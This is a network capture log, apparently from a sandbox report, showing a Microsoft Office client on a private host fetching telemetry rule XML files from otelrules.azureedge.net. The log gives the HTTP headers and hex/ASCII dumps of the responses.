2024-10-10 08:13:34 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:34 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:34 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 22da57d2-301e-0051-6138-1a38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081334Z-1597f696844m2gqc2hc3gbt72g00000001ug0000000070ay x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:34 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	64586	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:34 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:34 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:34 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 971a1148-a01e-000d-48cd-1ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081334Z-r154656d9bcc2bdtn1pd2qfd4c0000000wbg000000002e28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:34 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	64592	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:34 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: aa8826a4-b01e-0053-608c-15cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081334Z-r154656d9bcjfw87mb0kw1h2480000000kmg00000000g7gx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	64595	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:34 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:34 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 2b2ab350-401e-0083-4342-1a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081334Z-1597f696844gnxkv9xdcpvd3zn00000001t000000000bsvn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:35 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	64594	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:34 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 66411a6b-c01e-00a1-1eca-1a7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081334Z-r154656d9bc5qmxtyvgyzcay0c0000000kp000000000ev79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	64596	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:34 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:35 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: d99c8186-c01e-0066-1d32-1aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081335Z-1597f696844rmb6h7netdh4d8400000001s000000000ckdk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:35 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	64593	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:34 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:35 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 24b39cfc-301e-0096-2a8c-15e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081335Z-r154656d9bcn4d55dey6ma44b00000000kvg000000003mnd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:35 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	64598	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:35 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 1cc301c6-e01e-0071-6b8c-1508e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081335Z-r154656d9bc6m642udcg3mq41n0000000exg000000009n02 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	64597	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:35 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 72805b42-901e-0083-16a3-19bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081335Z-r154656d9bcbnsv5vrs89mh8t400000000q0000000000wg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	64599	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:35 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 38c0e901-901e-0016-3f33-1aefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081335Z-1597f6968444v2bb9vg1k11dcs00000000eg000000007umz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	64601	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:35 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 53b222f3-a01e-0098-419e-158556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081335Z-r154656d9bc8ljwwac0k5w3kn800000002sg00000000hatn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	64600	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:35 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 4a155f70-001e-0017-2dd7-1a0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081335Z-1597f696844jq2rssgzrsupds400000001z0000000001smf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
